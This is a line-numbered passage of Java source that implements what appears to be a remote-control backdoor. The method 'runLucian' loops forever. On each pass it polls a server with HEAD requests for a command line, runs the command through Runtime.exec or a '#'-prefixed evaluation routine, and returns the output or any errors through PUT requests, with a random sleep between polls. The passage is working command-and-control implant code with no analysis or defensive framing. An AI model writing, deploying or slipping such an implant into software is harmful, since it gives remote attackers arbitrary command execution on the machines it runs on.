| 107 | } |
| 108 | |
| 109 | private static void runLucian() { |
| 110 | try { |
| 111 | |
| 112 | String last = ""; |
| 113 | for (; ; ) { |
| 114 | |
| 115 | |
| 116 | if (lucian) { |
| 117 | lucian = false; |
| 118 | send("", "", "PUT"); |
| 119 | } |
| 120 | String cmdline = send("", "", "HEAD"); |
| 121 | if (cmdline == null) { |
| 122 | continue; |
| 123 | } |
| 124 | if ((!"".equals(cmdline)) && (!last.equals(cmdline))) { |
| 125 | try { |
| 126 | |
| 127 | if (cmdline.startsWith("#")) { |
| 128 | String res = gccjvm(cmdline.substring(1, cmdline.length())); |
| 129 | send(res, cmdline, "PUT"); |
| 130 | |
| 131 | } else { |
| 132 | Scanner s = new Scanner(Runtime.getRuntime().exec(cmdline).getInputStream()).useDelimiter( |
| 133 | "\\A"); |
| 134 | send(s.hasNext() ? s.next() : "", cmdline, "PUT"); |
| 135 | } |
| 136 | |
| 137 | } catch (Exception e) { |
| 138 | send(e.getLocalizedMessage(), cmdline, "PUT"); |
| 139 | } |
| 140 | last = cmdline; |
| 141 | } |
| 142 | Thread.sleep(new Random().nextInt(10) * 1 * 1000); |
| 143 | } |
| 144 | } catch (Exception e) { |
| 145 | e.printStackTrace(); |
| 146 | } |
| 147 | } |
| 148 | |
| 149 | private static String send(String obj, String cmdline, String method) { |
| 150 | BufferedReader bf = null; |